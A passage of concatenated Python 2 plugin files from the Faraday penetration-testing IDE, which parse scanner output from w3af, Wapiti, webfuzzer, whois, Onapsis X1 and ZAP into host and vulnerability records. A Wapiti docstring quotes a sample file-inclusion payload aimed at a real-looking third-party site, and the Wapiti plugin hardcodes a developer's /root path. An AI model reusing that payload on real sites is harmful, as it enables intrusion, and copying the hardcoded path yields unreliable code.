157 self.detail = self.get_text_from_subnode('description')
158 self.severity = self.node.get('severity')
159 self.method = self.node.get('method')
160 self.req = self.resp = ''
161 for tx in self.node.findall('http-transactions/http-transaction'):
162
163 self.req = tx.find('httprequest/status').text
164
165 self.resp = tx.find('httpresponse/status').text
166
167 def do_clean(self,value):
168 myreturn =""
169 if value is not None:
170 myreturn = re.sub("\n","",value)
171 return myreturn
172
173 def get_text_from_subnode(self, subnode_xpath_expr):
174 """
175 Finds a subnode in the host node and the retrieves a value from it.
176
177 @return An attribute value
178 """
179 sub_node = self.node.find(subnode_xpath_expr)
180 if sub_node is not None:
181 return sub_node.text
182
183 return None
184
185
186
187 class W3afPlugin(core.PluginBase):
188 """
189 Example plugin to parse w3af output.
190 """
191 def __init__(self):
192 core.PluginBase.__init__(self)
193 self.id = "W3af"
194 self.name = "W3af XML Output Plugin"
195 self.plugin_version = "0.0.1"
196 self.version = "1.2"
197 self.framework_version = "1.0.0"
198 self.options = None
199 self._current_output = None
200 self.target = None
201 self._command_regex = re.compile(r'^(w3af|sudo w3af|\.\/w3af).*?')
202 self._completition = {
203 "":"",
204 "-h":"Display this help message.",
205 "-p":"-p &lt;profile&gt; Run with the selected &lt;profile&gt;",
206 }
207
208 global current_path
209 self._output_file_path = os.path.join(self.data_path,
210 "w3af_output-%s.xml" % self._rid)
211
212
213 def parseOutputString(self, output, debug = False):
214
215 parser = W3afXmlParser(output)
216
217 ip = self.resolve(parser.host)
218 h_id = self.createAndAddHost(ip)
219 i_id = self.createAndAddInterface(h_id, ip, ipv4_address=ip, hostname_resolution=[parser.host])
220 s_id = self.createAndAddServiceToInterface(h_id, i_id, "http",
221 "tcp",
222 ports = [parser.port],
223 status = "open")
224
225 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
226 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,parser.host,"")
227
228 for item in parser.items:
229 v_id = self.createAndAddVulnWebToService(h_id, s_id, item.name,
230 item.detail, website=parser.host, severity=item.severity,
231 method=item.method, request=item.req, response=item.resp)
232 del parser
233
234
235
236
237
238
239 def resolve(self, host):
240 try:
241 return socket.gethostbyname(host)
242 except:
243 pass
244 return host
245
246 def processCommandString(self, username, current_path, command_string):
247 return None
248
249
250 def setHost(self):
251 pass
252
253
254 def createPlugin():
255 return W3afPlugin()
256
257 if __name__ == '__main__':
258 parser = W3afXmlParser(sys.argv[1])
259 for item in parser.items:
260 if item.status == 'up':
261 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class WapitiXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the wapiti tool.
45
46 TODO: Handle errors.
47 TODO: Test wapiti output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param wapiti_xml_filepath A proper xml generated by wapiti
51 """
52 def __init__(self, xml_output):
53
54 tree = self.parse_xml(xml_output)
55
56 if tree:
57 self.items = [data for data in self.get_items(tree)]
58 else:
59 self.items = []
60
61
62 def parse_xml(self, xml_output):
63 """
64 Open and parse an xml file.
65
66 TODO: Write custom parser to just read the nodes that we need instead of
67 reading the whole file.
68
69 @return xml_tree An xml tree instance. None if error.
70 """
71 try:
72 tree = ET.fromstring(xml_output)
73 except SyntaxError, err:
74 print "SyntaxError: %s. %s" % (err, xml_output)
75 return None
76
77 return tree
78
79 def get_items(self, tree):
80 """
81 @return items A list of Host instances
82 """
83 bugtype=""
84
85
86 bug_typelist = tree.findall('bugTypeList')[0]
87 for bug_type in bug_typelist.findall('bugType'):
88
89 bugtype=bug_type.get('name')
90
91 bug_list = bug_type.findall('bugList')[0]
92 for item_bug in bug_list.findall('bug'):
93 yield Item(item_bug,bugtype)
94
95
96 """
97 <bugTypeList>
98 <bugType name="File Handling"><bugList><bug level="1"><url>
99 http://www.saludactiva.org.ar/index.php?id=http%3A%2F%2Fwww.google.fr%2F
100 </url><parameter>
101 id=http%3A%2F%2Fwww.google.fr%2F
102 </parameter><info>
103 Warning include() (id)
104 </info>
105 """
106
107
108
109
110 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
111 """
112 Finds a subnode in the item node and the retrieves a value from it
113
114 @return An attribute value
115 """
116 global ETREE_VERSION
117 node = None
118
119 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
120
121 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
122 if match_obj is not None:
123 node_to_find = match_obj.group(1)
124 xpath_attrib = match_obj.group(2)
125 xpath_value = match_obj.group(3)
126 for node_found in xml_node.findall(node_to_find):
127 if node_found.attrib[xpath_attrib] == xpath_value:
128 node = node_found
129 break
130 else:
131 node = xml_node.find(subnode_xpath_expr)
132
133 else:
134 node = xml_node.find(subnode_xpath_expr)
135
136 if node is not None:
137 return node.get(attrib_name)
138
139 return None
140
141
142
143
144
145 class Item(object):
146 """
147 An abstract representation of a Item
148
149 TODO: Consider evaluating the attributes lazily
150 TODO: Write what's expected to be present in the nodes
151 TODO: Refactor both Host and the Port clases?
152
153 @param item_node A item_node taken from an wapiti xml tree
154 """
155 def __init__(self, item_node,bugtype):
156 self.node = item_node
157
158 self.bugtype=bugtype
159 self.buglevel=self.node.get('level')
160 self.url = self.do_clean(self.get_text_from_subnode('url'))
161 self.parameter = self.do_clean(self.get_text_from_subnode('parameter'))
162 self.info = self.do_clean(self.get_text_from_subnode('info'))
163
164
165 def do_clean(self,value):
166 myreturn =""
167 if value is not None:
168 myreturn = re.sub("\n","",value)
169 return myreturn
170
171 def get_text_from_subnode(self, subnode_xpath_expr):
172 """
173 Finds a subnode in the host node and the retrieves a value from it.
174
175 @return An attribute value
176 """
177 sub_node = self.node.find(subnode_xpath_expr)
178 if sub_node is not None:
179 return sub_node.text
180
181 return None
182
183
184
185 class WapitiPlugin(core.PluginBase):
186 """
187 Example plugin to parse wapiti output.
188 """
189 def __init__(self):
190 core.PluginBase.__init__(self)
191 self.id = "Wapiti"
192 self.name = "Wapiti XML Output Plugin"
193 self.plugin_version = "0.0.1"
194 self.version = "2.2.1"
195 self.options = None
196 self._current_output = None
197 self.protocol = None
198 self.host = None
199 self.port = "80"
200 self._command_regex = re.compile(r'^(python wapiti|wapiti|sudo wapiti|sudo wapiti\.py|wapiti\.py|python wapiti\.py|\.\/wapiti\.py|wapiti|\.\/wapiti|python wapiti|python \.\/wapiti).*?')
201 self._completition = {
202 "":"python wapiti.py http://server.com/base/url/ [options]",
203 "-s":"&lt;url&gt; ",
204 "--start":"&lt;url&gt; ",
205 "-x":"&lt;url&gt; ",
206 "--exclude":"&lt;url&gt; ",
207 "-p":"&lt;url_proxy&gt; ",
208 "--proxy":"&lt;url_proxy&gt; ",
209 "-c":" -c &lt;cookie_file&gt; ",
210 "--cookie":"&lt;cookie_file&gt; ",
211 "-t":"&lt;timeout&gt; ",
212 "--timeout":"&lt;timeout&gt; ",
213 "-a":"&lt;login%password&gt; ",
214 "--auth":"&lt;login%password&gt; ",
215 "-r":"&lt;parameter_name&gt; ",
216 "--remove":"&lt;parameter_name&gt; ",
217 "-n":"&lt;limit&gt; ",
218 "--nice":"&lt;limit&gt; ",
219 "-m":"&lt;module_options&gt; Set the modules and HTTP methods to use for attacks. Example: -m \"-all,xss:get,exec:post\"",
220 "--module":"&lt;module_options&gt; Set the modules and HTTP methods to use for attacks. Example: -m \"-all,xss:get,exec:post\"",
221 "-u":"Use color to highlight vulnerables parameters in output",
222 "--underline":"Use color to highlight vulnerables parameters in output",
223 "-v":"&lt;level&gt; ",
224 "--verbose":"&lt;level&gt; ",
225 "-b":"&lt;scope&gt;",
226 "--scope":"&lt;scope&gt;",
227 "-f":"&lt;type_file&gt; ",
228 "--reportType":"&lt;type_file&gt; ",
229 "-o":"&lt;output_file&gt; ",
230 "--output":"&lt;output_file&gt; ",
231 "-i":"&lt;file&gt;",
232 "--continue":"&lt;file&gt;",
233 "-k":"&lt;file&gt;",
234 "--attack":"&lt;file&gt;",
235 "-h":"To print this usage message",
236 "--help":"To print this usage message",
237 }
238
239 global current_path
240 self._output_file_path = os.path.join(self.data_path,
241 "wapiti_output-%s.xml" % self._rid)
242
243
244 def parseOutputString(self, output, debug = False):
245 """
246 This method will discard the output the shell sends, it will read it from
247 the xml where it expects it to be present.
248
249 NOTE: if 'debug' is true then it is being run from a test case and the
250 output being sent is valid.
251 """
252
253 self._output_file_path="/root/dev/faraday/trunk/src/report/wapiti2.3.0_abaco.xml"
254 if debug:
255 parser = WapitiXmlParser(output)
256 else:
257 if not os.path.exists(self._output_file_path):
258 return False
259
260 parser = WapitiXmlParser(self._output_file_path)
261
262
263 """
264 self.bugtype=bugtype
265 self.buglevel=self.node.get('level')
266 self.url = self.get_text_from_subnode('url')
267 self.parameter = self.get_text_from_subnode('parameter')
268 self.info = self.get_text_from_subnode('info')
269 """
270
271 h_id = self.createAndAddHost(self.host)
272 i_id = self.createAndAddInterface(h_id, self.host, ipv4_address=self.host)
273 i=1;
274 for item in parser.items:
275 mport = "%s%i" % (self.port,i)
276 print "estoy recorriendo algo ? (%s) (%s) (%s) (%s) (%s) (%s)" % (item.url,item.info,item.parameter,self.port,self.protocol,self.host)
277 s_id = self.createAndAddServiceToInterface(h_id, i_id, mport,
278 "tcp",
279 [mport],
280 status = "(%s) (%s)" % (item.bugtype,item.url),
281 version = item.parameter,
282 description = item.info)
283 i=i+1
284
285 del parser
286
287
288
289
290
291 xml_arg_re = re.compile(r"^.*(-oX\s*[^\s]+).*$")
292
293
294 def processCommandString(self, username, current_path, command_string):
295 """
296 Adds the -oX parameter to get xml output to the command string that the
297 user has set.
298 """
299 host = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", command_string)
300
301 self.protocol = host.group(1)
302 self.host = host.group(4)
303 if host.group(11) is not None:
304 self.port = host.group(11)
305 if self.protocol == 'https':
306 self.port=443
307
308 print "host = %s, port = %s" % (self.host,self.port)
309
310 arg_match = self.xml_arg_re.match(command_string)
311
312
313
314 return "%s -o %s -f xml \n" % (command_string,self._output_file_path)
315
316
317 def setHost(self):
318 pass
319
320
321 def createPlugin():
322 return WapitiPlugin()
323
324 if __name__ == '__main__':
325 parser = WapitiXmlParser(sys.argv[1])
326 for item in parser.items:
327 if item.status == 'up':
328 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 from __future__ import with_statement
9 from plugins import core
10 from model import api
11 import re
12 import os
13 import pprint
14 import sys
15
16
17 current_path = os.path.abspath(os.getcwd())
18
19 __author__ = "Francisco Amato"
20 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
21 __credits__ = ["Francisco Amato"]
22 __license__ = ""
23 __version__ = "1.0.0"
24 __maintainer__ = "Francisco Amato"
25 __email__ = "[email protected]"
26 __status__ = "Development"
27
28
29
30
31
32 class WebfuzzerParser(object):
33 """
34 The objective of this class is to parse an xml file generated by the webfuzzer tool.
35
36 TODO: Handle errors.
37 TODO: Test webfuzzer output version. Handle what happens if the parser doesn't support it.
38 TODO: Test cases.
39
40 @param webfuzzer_filepath A proper output generated by webfuzzer
41 """
42 def __init__(self, webfuzzer_filepath):
43 self.filepath = webfuzzer_filepath
44
45 with open(self.filepath,"r") as f:
46 try:
47 data = f.read()
48 f.close()
49 m = re.search("Scan of ([\w.]+):([\d]+) \[([/\w]+)\] \(([\w.]+)\)", data)
50 self.hostname=m.group(1)
51 self.port=m.group(2)
52 self.uri=m.group(3)
53 self.ipaddress=m.group(4)
54
55 m = re.search("Server header:\n\n([\w\W]+)\n\n\n", data)
56 self.header = m.group(1)
57
58
59 self.items = []
60
61 pattern = r'\((POST|GET)\): ([\w\W]*?) \]--'
62
63 for m in re.finditer(pattern, data, re.DOTALL):
64
65
66 method = m.group(1)
67 info = re.search("^([\w\W]+)\(([\w\W]+)\)\n--\[ ([\w\W]+)$",m.group(2))
68
69 vuln = {'method' : m.group(1), 'desc' : info.group(1) , 'url':info.group(2), 'resp':info.group(3) }
70 self.items.append(vuln)
71
72
73 except SyntaxError, err:
74 print "SyntaxError: %s. %s" % (err, filepath)
75 return None
76
77
78
79
80 class WebfuzzerPlugin(core.PluginBase):
81 """
82 Example plugin to parse webfuzzer output.
83 """
84 def __init__(self):
85 core.PluginBase.__init__(self)
86 self.id = "Webfuzzer"
87 self.name = "Webfuzzer Output Plugin"
88 self.plugin_version = "0.0.1"
89 self.version = "0.2.0"
90 self.options = None
91 self._current_output = None
92 self.host = None
93 self._command_regex = re.compile(r'^(sudo webfuzzer|webfuzzer|\.\/webfuzzer).*?')
94 self._completition = { '':'__Usage: ./webfuzzer -G|-P URL [OPTIONS]',
95 '-G':'<url> get this as starting url (with parameters)',
96 '-P':'<url> post this as starting url (with parameters)',
97 '-x':'html output (txt default)',
98 '-c':'use cookies',
99 '-C':'<cookies> set this cookie(s) **',
100 '-s':'check for sql, asp, vb, php errors (default)',
101 '-d':'check for directory traversal *',
102 '-p':'check for insecure perl open or xss *',
103 '-e':'check for execution through shell escapes or xss *',
104 '-a':'set all of the above switches on *',
105 }
106
107 self._output_path = None
108
109
110 def parseOutputString(self, output, debug = False):
111 """
112 This method will discard the output the shell sends, it will read it from
113 the xml where it expects it to be present.
114
115 NOTE: if 'debug' is true then it is being run from a test case and the
116 output being sent is valid.
117 """
118
119
120
121
122
123 if self._output_path is None:
124 return False
125 else:
126 if not os.path.exists(self._output_path):
127 return False
128
129 parser = WebfuzzerParser(self._output_path)
130
131 h_id = self.createAndAddHost(parser.ipaddress)
132
133 i_id = self.createAndAddInterface(h_id, parser.ipaddress, ipv4_address=parser.ipaddress,hostname_resolution=parser.hostname)
134
135 first=True
136 for item in parser.items:
137 if first:
138 s_id = self.createAndAddServiceToInterface(h_id, i_id, parser.port,
139 "tcp",
140 ports = [parser.port])
141 first=False
142
143 v_id = self.createAndAddVulnWebToService(h_id,s_id,name=item['desc'],
144 path = item['url'],response = item['resp'],
145 method = item['method'], website=parser.hostname)
146
147 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
148 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,parser.hostname,"")
149
150 del parser
151
152 if not debug:
153 os.remove(self._output_path)
154 return True
155
156
157 def processCommandString(self, username, current_path, command_string):
158 """
159 """
160 host = re.search("\-([G|P]) ([\w\.\-]+)", command_string)
161
162 if host is not None:
163 self.host = host.group(2)
164 self._output_path = current_path + "/"+ self.host + ".txt"
165 return None
166
167
168
169 def createPlugin():
170 return WebfuzzerPlugin()
171
172 if __name__ == '__main__':
173 parser = WebfuzzerParser(sys.argv[1])
174 for item in parser.items:
175 if item.status == 'up':
176 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from plugins import core
10 from model import api
11 import re
12 import os, socket
13 import pprint
14 current_path = os.path.abspath(os.getcwd())
15
16 __author__ = "Facundo de Guzmán, Esteban Guillardoy"
17 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
18 __credits__ = ["Facundo de Guzmán", "Esteban Guillardoy"]
19 __license__ = ""
20 __version__ = "1.0.0"
21 __maintainer__ = "Federico Kirschbaum"
22 __email__ = "[email protected]"
23 __status__ = "Development"
24
25
26
27
28
29 class CmdWhoisPlugin(core.PluginBase):
30 """
31 This plugin handles whois command.
32 Basically detects if user was able to connect to a device
33 """
34 def __init__(self):
35 core.PluginBase.__init__(self)
36 self.id = "whois"
37 self.name = "Whois"
38 self.plugin_version = "0.0.1"
39 self.version = "5.0.20"
40 self.framework_version = "1.0.0"
41 self.options = None
42 self._current_output = None
43 self._command_regex = re.compile(r'^whois.*?')
44 self._host_ip = None
45 self._info = 0;
46 self._completition = {
47 "":"whois [OPTION]... OBJECT...",
48 "-l":"one level less specific lookup [RPSL only]",
49 "-L":"find all Less specific matches",
50 "-m":"find first level more specific matches",
51 "-M":"find all More specific matches",
52 "-c":"find the smallest match containing a mnt-irt attribute",
53 "-x":"exact match [RPSL only]",
54 "-d":"return DNS reverse delegation objects too [RPSL only]",
55 "-i":"-i ATTR[,ATTR]... do an inverse lookup for specified ATTRibutes",
56 "-T":"-T TYPE[,TYPE]... only look for objects of TYPE",
57 "-K":"only primary keys are returned [RPSL only]",
58 "-r":"turn off recursive lookups for contact information",
59 "-R":"force to show local copy of the domain object even if it contains referral",
60 "-a":"search all databases",
61 "-s":"-s SOURCE[,SOURCE]... search the database from SOURCE",
62 "-g":"-g SOURCE:FIRST-LAST find updates from SOURCE from serial FIRST to LAST",
63 "-t":"-t TYPE request template for object of TYPE",
64 "-v":"-v TYPE request verbose template for object of TYPE",
65 "-q":"-q [version|sources|types] query specified server info [RPSL only]",
66 "-F":"fast raw output (implies -r)",
67 "-h":"-h HOST connect to server HOST",
68 "-p":"-p PORT connect to PORT",
69 "-H":"hide legal disclaimers",
70 "--verbose":"explain what is being done",
71 "--help":"display this help and exit",
72 "--version":"output version information and exit",
73 }
74
75 global current_path
76
77
78
79 def resolve(self, host):
80 try:
81 return socket.gethostbyname(host)
82 except:
83 pass
84 return host
85
86 def parseOutputString(self, output, debug = False):
87 matches = re.findall("Name Server:\s*(.*)\s*",output)
88 for m in matches:
89 m = m.strip()
90 ip = self.resolve(m)
91 h_id = self.createAndAddHost(ip, "os unknown")
92 i_id = self.createAndAddInterface(h_id, ip, "00:00:00:00:00:00", ip, hostname_resolution=[m])
93 return True
94
95 def processCommandString(self, username, current_path, command_string):
96 """
97 """
98 return None
99
100 def createPlugin():
101 return CmdWhoisPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39 class X1XmlParser(object):
40 """
41 The objective of this class is to parse an xml file generated by the x1 tool.
42
43 TODO: Handle errors.
44 TODO: Test x1 output version. Handle what happens if the parser doesn't support it.
45 TODO: Test cases.
46
47 @param x1_xml_filepath A proper xml generated by x1
48 """
49 def __init__(self, xml_output):
50
51 tree = self.parse_xml(xml_output)
52 if tree:
53 self.items = [data for data in self.get_items(tree)]
54 else:
55 self.items = []
56
57
58 def parse_xml(self, xml_output):
59 """
60 Open and parse an xml file.
61
62 TODO: Write custom parser to just read the nodes that we need instead of
63 reading the whole file.
64
65 @return xml_tree An xml tree instance. None if error.
66 """
67 try:
68 tree = ET.fromstring(xml_output)
69 except SyntaxError, err:
70 print "SyntaxError: %s. %s" % (err, xml_output)
71 return None
72
73 return tree
74
75 def get_items(self, tree):
76 """
77 @return items A list of Host instances
78 """
79
80 for node in tree.findall('results/landscape/system/component'):
81 yield Item(node)
82
83
84
85
86 class Item(object):
87 """
88 An abstract representation of a Item
89
90
91 @param item_node A item_node taken from an x1 xml tree
92 """
93 def __init__(self, item_node):
94 self.node = item_node
95
96 self.name = self.get_text_from_subnode('name')
97 self.host = self.get_text_from_subnode('host')
98 self.vclass = self.get_text_from_subnode('class')
99
100 self.connector = self.node.find('connector')
101 self.cname = self.connector.get('name')
102 data=self.cname.split("/")
103 self.port,self.protocol=data[0].split()
104 self.srvname=data[1]
105
106
107 self.cresults=self.getResults(self.connector)
108 self.results=self.getResults(self.node)
109
110 def getResults(self, tree):
111 """
112 :param tree:
113 """
114 for self.issues in tree.findall('modResults/moduleResult'):
115 yield Results(self.issues)
116
117 def get_text_from_subnode(self, subnode_xpath_expr):
118 """
119 Finds a subnode in the host node and the retrieves a value from it.
120
121 @return An attribute value
122 """
123 sub_node = self.node.find(subnode_xpath_expr)
124 if sub_node is not None:
125 return sub_node.text
126
127 return None
128
129 class Results():
130 def __init__(self, issue_node):
131 self.node = issue_node
132 self.id = self.get_text_from_subnode('id')
133 self.name = self.get_text_from_subnode('name')
134
135 self.category = self.get_text_from_subnode('category')
136 self.trendingStatus = self.get_text_from_subnode('trendingStatus')
137 self.description = self.get_text_from_subnode('description')
138 self.risk = self.get_text_from_subnode('risk')
139 self.resolution = self.get_text_from_subnode('solution')
140 self.ref=[]
141 for r in issue_node.findall('refs/reference'):
142
143
144 self.ref.append(r.get('type')+"-"+r.get('text'))
145
146 def get_text_from_subnode(self, subnode_xpath_expr):
147 """
148 Finds a subnode in the host node and the retrieves a value from it.
149
150 @return An attribute value
151 """
152 sub_node = self.node.find(subnode_xpath_expr)
153 if sub_node is not None:
154 return sub_node.text
155
156 return None
157
158 class X1Plugin(core.PluginBase):
159 """
160 Example plugin to parse x1 output.
161 """
162 def __init__(self):
163 core.PluginBase.__init__(self)
164 self.id = "X1"
165 self.name = "Onapsis X1 XML Output Plugin"
166 self.plugin_version = "0.0.1"
167 self.version = "Onapsis X1 2.56"
168 self.framework_version = "1.0.0"
169 self.options = None
170 self._current_output = None
171 self._command_regex = re.compile(r'^(sudo x1|\.\/x1).*?')
172
173 global current_path
174 self._output_file_path = os.path.join(self.data_path,
175 "x1_output-%s.xml" % self._rid)
176
177 def parseOutputString(self, output, debug = False):
178
179
180 parser = X1XmlParser(output)
181 for item in parser.items:
182 h_id = self.createAndAddHost(item.host,item.name)
183 i_id = self.createAndAddInterface(h_id, item.host,ipv4_address=item.host, hostname_resolution=item.vclass)
184 s_id = self.createAndAddServiceToInterface(h_id, i_id, item.srvname,
185 item.protocol,
186 ports = [str(item.port)],
187 status = "open")
188 for v in item.results:
189 desc=v.description
190 desc+="\nSolution: "+v.resolution if v.resolution else ""
191 v_id=self.createAndAddVulnToService(h_id, s_id,v.name,desc=desc,
192 ref=v.ref,severity=v.risk)
193
194 for v in item.cresults:
195 desc=v.description
196 desc+="\nSolution: "+v.resolution if v.resolution else ""
197 v_id=self.createAndAddVulnToService(h_id, s_id,v.name,desc=desc,
198 ref=v.ref,severity=v.risk)
199
200 del parser
201
202 def processCommandString(self, username, current_path, command_string):
203 return None
204
205
206 def setHost(self):
207 pass
208
209
210 def createPlugin():
211 return X1Plugin()
212
213 if __name__ == '__main__':
214 parser = X1XmlParser(sys.argv[1])
215 for item in parser.items:
216 if item.status == 'up':
217 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class ZapXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the zap tool.
45
46 TODO: Handle errors.
47 TODO: Test zap output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param zap_xml_filepath A proper xml generated by zap
51 """
52 def __init__(self, xml_output):
53 tree = self.parse_xml(xml_output)
54
55 if tree:
56 self.sites = [data for data in self.get_items(tree)]
57 else:
58 self.sites = []
59
60
61 def parse_xml(self, xml_output):
62 """
63 Open and parse an xml file.
64
65 TODO: Write custom parser to just read the nodes that we need instead of
66 reading the whole file.
67
68 @return xml_tree An xml tree instance. None if error.
69 """
70 try:
71 tree = ET.fromstring(xml_output)
72 except SyntaxError, err:
73 print "SyntaxError: %s. %s" % (err, xml_output)
74 return None
75
76 return tree
77
78 def get_items(self, tree):
79 """
80 @return items A list of Host instances
81 """
82
83 for node in tree.findall('site'):
84 yield Site(node)
85
86
87
88 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
89 """
90 Finds a subnode in the item node and the retrieves a value from it
91
92 @return An attribute value
93 """
94 global ETREE_VERSION
95 node = None
96
97 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
98
99 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
100 if match_obj is not None:
101 node_to_find = match_obj.group(1)
102 xpath_attrib = match_obj.group(2)
103 xpath_value = match_obj.group(3)
104 for node_found in xml_node.findall(node_to_find):
105 if node_found.attrib[xpath_attrib] == xpath_value:
106 node = node_found
107 break
108 else:
109 node = xml_node.find(subnode_xpath_expr)
110
111 else:
112 node = xml_node.find(subnode_xpath_expr)
113
114 if node is not None:
115 return node.get(attrib_name)
116
117 return None
118
119
120
121
122 class Site(object):
123 def __init__(self, item_node):
124 self.node = item_node
125 self.host = self.node.get('host')
126 self.ip = self.resolve(self.host)
127 self.port = self.node.get('port')
128 self.items = []
129 for alert in self.node.findall('alerts/alertitem'):
130 self.items.append(Item(alert))
131
132 def get_text_from_subnode(self, subnode_xpath_expr):
133 """
134 Finds a subnode in the host node and the retrieves a value from it.
135
136 @return An attribute value
137 """
138 sub_node = self.node.find(subnode_xpath_expr)
139 if sub_node is not None:
140 return sub_node.text
141
142 return None
143
144 def resolve(self, host):
145 try:
146 return socket.gethostbyname(host)
147 except:
148 pass
149 return host
150
151 class Item(object):
152 """
153 An abstract representation of a Item
154
155
156 @param item_node A item_node taken from an zap xml tree
157 """
158 def __init__(self, item_node):
159 self.node = item_node
160
161 self.id=self.get_text_from_subnode('pluginid')
162 self.name = self.get_text_from_subnode('alert')
163
164
165 self.severity = self.get_text_from_subnode('riskcode')
166 self.desc = self.get_text_from_subnode('desc')
167 self.desc += "\nSolution: " + self.get_text_from_subnode('solution') if self.get_text_from_subnode('solution') else ""
168 self.desc += "\nReference: " + self.get_text_from_subnode('reference') if self.get_text_from_subnode('reference') else ""
